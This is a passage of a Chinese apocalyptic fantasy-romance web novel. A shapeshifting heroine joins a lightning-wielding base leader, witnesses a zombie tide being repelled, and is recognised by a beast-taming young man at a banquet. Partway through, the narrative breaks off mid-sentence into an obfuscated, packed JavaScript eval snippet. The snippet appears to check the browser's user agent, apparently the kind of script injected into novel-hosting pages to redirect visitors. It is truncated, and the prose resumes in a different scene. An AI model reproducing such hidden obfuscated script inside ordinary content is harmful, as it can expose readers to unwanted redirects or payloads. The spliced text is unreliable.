惨叫声响彻云霄,阮卿卿连忙挥动翅膀飞到另一棵树上,却仍不免被波及。半边翅膀先是麻痹般僵住,而后由外而内的灼烧感渐起,持续隐隐作痛。</ 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奉献大衣的男人走过去,态度友善:“这位小姐,你没事吧?” 女人穿好衣服,神情怯懦地摇了摇头。 “别怕,你以后怎么打算?” “还不知道,不过谢谢你们。”女人声音还微微打着颤。 路天咧嘴笑了笑:“那不如跟我们一起回望北基地吧?你一个人在外面也不好生存。” 宋嫣当然求之不得,这些人和她上一个队伍明显不是一个水平的,行事也十分正派。 几人很快商量好了一道,正准备离开,为首的高大男人却立住,若有所感般抬了抬眼。 “等等。” “头儿?”路天停住脚,诧异看过去。 傅以珩没答他,淡漠目光扫过地上的樱桃核,又落在树梢上,他嗓音沉了一度:“出来吧,看了这么久还不够?” 突然的一句,阮卿卿头顶鸟毛顿时过电般竖起。 不是吧,她一只毫不起眼的麻雀,这也能发现? 见她没反应,傅以珩黑眸覆上一层幽深:“敬酒不吃吃罚酒。” 下一秒,一道雷电带着雷霆万钧之势朝麻雀所在的树枝劈去,阮卿卿惊惧之际堪堪躲过,雷电却劈断了一旁的枝干,她没有了立足点,焦黑树枝连同鸟身一起掉落在地。 阮卿卿这才意识到,刚才的惊雷不是偶然,是这位雷电异能者人为使然。 男人又抬起手,无数蛇电在他掌中隐隐汇聚。 “等一下!” 阮卿卿头皮一麻,连忙恢复人身喊住他,只不过她没用原本的长相。 利用升级后的变形异能,她特意调整了一些细节,使皮肤黑了点,鼻梁矮了点,身材也瘦小了许多。 现在的她看起来,实在普通得不能再普通。 之前的教训她算是吃够了,在秩序崩坏的末世,一个能力不足以自保的女人,长相不是加分项,而是催命符。 15. 第 15 章 树上掉落的麻雀忽然变成一个身材清瘦的女人,几人先是愣住,而后反应过来。 路天张了张嘴:“变形异能?” 阮卿卿点头,不好意思地笑笑:“我不是故意躲在这里的,我先来的这边休息,他们突然过来,后来你们来了,我为了自保才没有现身。” 她半边胳膊已经被电伤,可不想另一边也受伤。 宋嫣裹着大衣,闻言抬头,轻飘飘瞟了她一眼。 傅以珩不动声色打量着面前人,皱黄的皮肤,干瘪瘦弱,唯唯诺诺的性格,唯独一双眼水灵通透。 他一贯擅长看眼识人,她这一双眼,他却罕见地有些看不透。这样一对干净澄澈的眼眸,自末世后,他有多久没见了? 罢了,能长有这样一双眼,也不会是喜欢躲在暗处心思阴险的人。 “原来是误会。”路天笑了笑,“妹妹,你这是要去哪?不小心误伤到你,如果顺路,我们可以载你一程。” 阮卿卿松了口气:“不用了,我有法子赶路,既然误会解开,我就先走了。” 目光掠过她一边衣袖上焦黑的痕迹,傅以珩皱了皱眉,沉声:“我们向南去望北基地,你胳膊受伤了,还能飞起来?” 阮卿卿愣住,动了动僵硬的右臂,麻木感正在蔓延。 如果等恢复后再变鸟上路,的确耽误时间,也容易增加变数。 方才他们还解救了一个身陷囹圄的女人,看起来也不像是什么穷凶极恶之徒,应该……可以信任吧? 她犹豫着:“我也向南,我去南安,这顺路吗?” “从这里到南安可不算近呢。”路天眯眼笑着,热情邀请:“你可以先在望北歇歇脚,再从望北启程,望北基地是末日前的韶中,是通往南部许多城市的必经枢纽。” “那太好了。” 阮卿卿加入了傅以珩一行人的队伍,跟随众人整装上路。 车上还有一名司机,路天坐在副驾,其余人在中后排坐下,靠近车门的独立座位还空着,阮卿卿正打算和宋嫣挤挤,胳膊却被一把拉住。 男人制止她的手一触即离,而后变魔术般取出一把折叠椅,阮卿卿这才知道,他竟是雷电、空间双系异能。 心里暗暗咂舌的同时,又得知宋嫣是一名食物系异能觉醒者。 “那你岂不是不用担心食物问题了?”风系异能者路天边开车边与几人搭话,话唠属性暴露无遗。 宋嫣唇边泛起苦笑:“没什么攻击性,放在别的队伍里,只有任人宰割的份。” 宋嫣直白透露自己的异能也有一定私心,这群人明显不是普通人,尤其是那位被称为“头儿”的男人。 虽然她只是二阶食物系,并不能满足整个队伍的日常消耗,但她的成长性在这里,如果能借此在基地立足,她今后的生存都会有着落,怕就怕一点价值也没有。 阮卿卿规规矩矩坐在宋嫣和傅以珩中间的过道里,沉默着没说话。 相比之下,她的变形异能只能变形自己,实在有些鸡肋了。她没有透露自己的治愈异能,前车之鉴历历在目,她不会再告诉任何人。 赶在天黑前,路天将越野停在公路旁一间汽车旅馆里,几人整顿歇脚。 宋嫣积极地和一名火系异能者去帮忙准备晚饭,阮卿卿四处转了转,发现没有自己可帮上忙的,于是局促坐在一边。 炊火被点了起来,夜晚寂静,只剩下噼啪的火星声和低低的说话声。 一道高大阴影忽然逼近,阮卿卿抬头,是傅以珩。 橘红火光打向男人高挺的鼻骨,那冷峻气质被映得柔和了些。 “抹点药吧,对电击伤有用。” 阮卿卿惊喜了一瞬,原来有药。 她本打算靠治愈异能自己恢复呢,没想过还能上药。要知道在末世,药品资源比食物更加稀有。 少女抬眸对他笑了笑,轻声道谢,接过了药。 那一瞬间,火光晃进她眼底,不知为何,对上那对明亮的眸子,傅以珩下意识避开了视线。 那双眼很干净,瞳仁黑白分明,不算特别出众,却总给他一种违和感。 旁边已经传来窸窸窣窣的拆盒声,短暂的缄默,他转身离开。 阮卿卿小心翼翼把药膏涂在自己右边胳膊上,火辣辣的刺痛一下减轻了许多。 有了宋嫣的帮助,晚饭很快准备好了。傅以珩空间中存放的冻菜冻肉,还有宋嫣利用异能变出的一些食材,一顿简单的晚饭很快煮好。 一夜无话,第二天清晨,越野再次上路。 不知开了多久,似是距离目的地很近了,路天车速逐渐加快,一道巍峨的城墙逐渐显露。 城墙高达百米,防御设施完备,不少士兵全身武装,站岗巡逻兼有,整齐流露的肃杀之气便可知其精悍,一看就是军方管辖。 望北基地近在咫尺,车内气氛也轻松了不少。 “过了望北基地,再向南三百公里就是南安了。”路天指了一个方向。 距离南安这么近,阮卿卿欣喜点了点头,要不是外面越来越暗的天色,她恨不得现在就一鼓作气飞过去,可是夜间赶路并不安全。 越野畅通无阻驶入基地,城门士兵看到车上的标记,立刻城门大开,还恭敬行了个礼。 听到士兵对傅以珩的称呼,阮卿卿眨了眨眼,说起来一路上即便能感觉到路天等人对他的尊敬,可他并没有什么架子,很多事亲力亲为,没想到他竟是这望北基地的掌权者。 也是,雷电系与空间系双系异能,攻守兼备,他确实有这个资本。 宋嫣眸底也闪过一丝惊讶,真是天上掉馅饼,原以为他只是拥有异能的普通强者,没曾想竟如此有权有势,她这次必须好好把握。 傅以珩带领众人回到领主住处,叫来了下属,分别给宋嫣和阮卿卿安排了房间。 “老哥!” 一道脆生生的声音忽然响起。 阮卿卿跟着回头,一个穿着裙子的女孩朝傅以珩跑来,两人样貌至少有六分相似。 傅以珩却不知为何,皱眉避开了她的触碰:“靖轩去哪了?他没在基地?” 傅以璇哼了声,努着嘴控诉:“不知道,你们一个两个,都恨不得离我远远的才好。” 傅以珩硬朗的下颌微微和缓,抬手犹豫了下,揉了揉她发顶。 “别闹,他去哪了?我有事找他。” “真的不知道,你离开基地后,我就一直没见过他。” 说到这里,她语气带上了气愤:“把我一个人丢在基地,是不是讨厌我。” 男人僵硬放下手:“你想多了,只是你的异能……没事,等你熟练掌控后就能收放自如。” 傅以璇移开视线,这才发现自己老哥身后还站着两个人,她促狭眨了眨眼:“这两位姐姐是?” 宋嫣亲切一笑,弯身打招呼:“你就是傅以璇吧,我听路天说了。你哥在路上救了我,我就跟他们一起来基地了。” 阮卿卿也露出笑容,正要开口,旁边男人却先她一步介绍:“她是阮卿卿,变形异能觉醒者,以璇,叫姐姐。” “哇,姐姐,欢迎你们。” 正是按捺不住的年龄,傅以璇迈步想要上前拉她们的手,却又被自己哥哥拦住。 傅以珩按住她,问询的视线看向阮卿卿:“你的伤怎么样了?药用完了再找我取。” 阮卿卿抿唇笑笑:“我明天就走了,伤口已经没什么大碍,谢谢傅领主。” 男人微微颔首,没再说什么。 阮卿卿的计划很美好,在望北基地过渡一晚,第二天启程,只需再飞几个小时就能到达南安。 末日后她一直与家人失散,也曾试着用路边找到的电话和手机联络,但末世后别说通讯了,地面光缆基站停摆,卫星通讯瘫痪,就连发电厂也没人运营,枭东基地保留的站点也仅能支持小范围通信,她几次尝试都失败了。 一想到明天就能见到他们,阮卿卿心跳加快了些,明明很早就躺下了,却激动得很晚才睡着。 但她万万没有想到,留宿在望北基地的一晚,形势却突转直下。 凌晨三点,一道尖锐的防空警报鸣笛声将所有睡梦中的人惊醒。 阮卿卿匆忙穿好衣服出去,外面的士兵神情肃然,每个人都紧锣密鼓地忙碌着,领主傅以珩也不知所踪。 阮卿卿拦住一名后勤士兵,一问才知道,城外丧尸突然暴动了。 一波前所未有的丧尸潮爆发在陆国南部,附近一些小型基地已经在丧尸的连夜围攻下死伤惨重。望北基地虽然底蕴深厚,防守充备些,面对突如其来的大规模袭击,仍然显得措手不及。 心里有些七上八下,阮卿卿摸出一根羽毛,变成鸟飞到基地外围一片隐蔽的树丛里。 城墙外是黑压压的一片,她从没见过这么多丧尸聚集在一块,密密麻麻,像是汹涌的浊潮,一波又一波青灰色不断向城墙上攀涌,场面令人惊骇。 城头士兵正奋力抵挡着,轰隆巨响间,各种城防设施同时发力,配合着大批机枪手和异能者,不断向城下抛洒炮弹和五光十色的异能。 傅以珩身形沉稳,携众站在城头,他薄唇紧抿着,隐隐有雷光在他掌心凝聚。 铺天盖地的黑云盘踞在城墙上空,道道滚雷倾泻,劈倒了一片尸群,却又有更多青灰色前仆后继,瘟疫般奔涌而上。 阮卿卿躲在树梢里,看着这惨烈的景象,心里紧了紧。 基地外墙笼罩着一层淡蓝色的半球形光罩,似乎是众多防御系异能者合力凝结而成。然而光罩底部已经出现了密密麻麻的裂痕,丧尸是没有知觉和痛苦的,异能者的体力却并不是源源不断的。 即便隔了这么远,傅以珩眉宇间的倦色也清晰可见,这样下去不是办法。 阮卿卿有些替他焦急,虽然丧尸在强大的火力面前一时攻不上来,但士兵需要更替,异能者也需要休息补充体力,一时的优势很可能在持续的围攻中演变为劣势。 如果用空间异能?好像也不能一下将这么多人转移走。 她胡思乱想着,一片混战中,却突然有一声嘹亮的长啸从远方传来。 那啸声浑厚清朗,穿云裂石,隐隐伴随大地震颤般的厚重闷响。 地平线上扬起一片烟尘,阮卿卿定睛看去,那是一片奔袭而来的兽群,其中异兽无数,种类繁杂,数量竟与丧尸不相上下,排山倒海往这边来。 兽群奔腾在大地上,带起滚滚声浪,远远看去,像是无边无际的大军蔓延开来,正前仆后继的尸群也被这动静惊住了一瞬。 为首的异兽是一只体型巨大的变异雄狮,奇特的是,狮背上竟坐着一个男人。 那人额前碎发凌厉,随风而起,眉黑而浓,棱角锐利,有种盛气凌人的桀骜少年感,正骑在俯冲的狮背上,笑得意气风发。 阮卿卿震惊于那张熟悉的面孔,他已经带领兽群,鞭挞着踏过了尸潮。 变异猛兽冲进大片丧尸中,虎入羊群般撕咬着没有知觉的躯体,毫无章法,却残暴十足。 傅以珩站在城头上,一贯稳重的面容少有地爽朗一笑,他手掌轻翻,大片乌云在头顶汇聚,惊雷射下,为兽群开路。 雷电与兽群配合默契,一时间压得丧尸潮节节败退。 阮卿卿松了口气,这场战斗的结果毋庸置疑,人类大获全胜。 丧尸数量渐少,兽群散去,城墙上也鸣金收兵,几队士兵从侧门出来清扫战场。 阮卿卿提前回到住处,特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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注意到那桌就她们两个人,阮卿卿笑着点头,走过去坐下。 傅以璇俨然是这里众星捧月的小公主,不少人和她打招呼。 小公主心情很好,叉了块水果塞进嘴里,边嚼边笑:“基地很久没有这么热闹了,还是人多有意思。” “我去过这么多基地,望北的实力绝对算得上数一数二。”宋嫣顺手把果盘往她这边推了推。 “唔,那我不清楚,我哥什么都不跟我说,他从不让我出基地,真讨厌。”小公主显然十分不满。 宋嫣笑了笑没说话。 越来越多人走进宴会厅,不一会儿,厅内已经容纳了上千人。 阮卿卿抿了口茶,也拿起叉子,还没来得及伸手,身边骤然一暗。 她扭头看去,捏着叉子的手就那么停在了半空。 靖轩竟直接坐到了她旁边,大大咧咧给自己倒了杯茶。 短暂的一顿,阮卿卿强压心里慌乱,故作从容地继续动作,叉回来的水果却只是放进盘子里,紧张到忘记了吃。 什么意思?他这是认出她了?! 傅以珩也走过来坐下,数不清的目光随之投来,有几人捧杯上前敬酒,男人笑意淡淡回应,黝黑的眸子不辨喜怒。 果盘被撤下,侍者已经开始上菜,阮卿卿暗自打量靖轩的神色,他漫不经心着一张脸,并不理会一旁恭维敬酒的人,琥珀色的瞳孔带着几分睥睨,在顶灯的映射下透着疏离。 她吊起的心暂放,他应当只是随便找了个位置坐下,她太大惊小怪了。 傅以珩风波淡淡,应付完敬酒的人,看向靖轩正色道:“我这次和路天从北边回来,发现形势不容乐观,陆地陷落越来越严重了。” “怎么回事?我记得南边几个基地也反映了这个情况。” 傅以珩英挺的眉蹙起:“也许和绿洲传言有关,这次的丧尸暴动也不是偶然。” 靖轩不置可否挑了挑眉:“这绿洲未免也出现得太蹊跷了。” 阮卿卿起初还认真听着,但太多陌生信息超出了她的认知,几句就云里雾里。 “你前段时间去哪了?以璇说你离开基地很久,去找异兽了?”傅以珩碰了碰靖轩的杯子,嗓音淡淡。 “嗯,有几只不好对付的,费了点时间。”男人慢悠悠地答,语调散漫。 傅以珩抬眉,上下扫他一眼:“受伤了?” 后者哼了声,不知想到什么,又勾了下唇:“不过还好,很快被治愈了。” 阮卿卿头皮乍麻,是她多心了?怎么感觉他说“治愈”两个字时音调格外重些。 话题揭过,两人又聊到了别的,傅以璇加入进来,嘟着嘴问她哥什么时候带她出去。 阮卿卿默默低头戳着筷子,却食不下咽,盘中一颗圆滚滚的狮子头,被她不知不觉戳成了软趴趴的骰子。 一双筷子却忽然伸来,向她盘里重新夹了颗。 !! 阮卿卿大惊失色,猛地看向旁边人。 男人侧脸凌厉,也不看她,随意夹菜进碟,一边淡然自若接傅家兄妹的话。 阮卿卿心口疯狂打鼓,一团乱麻,他认出她了?不对,看那样子,是早就认出来了。 又一名下属走近,要与傅以珩敬茶,闲聊戛然而止。 这短暂的空挡,身旁人却凑近,微微低头,身上一股清冽瞬间窜进她鼻尖。 “姐姐不会以为,换了副样子,我就认不出了?” 靖轩眼里掠过几丝好笑,声音却沉了些。 “我不靠眼睛,我靠的是……气味。”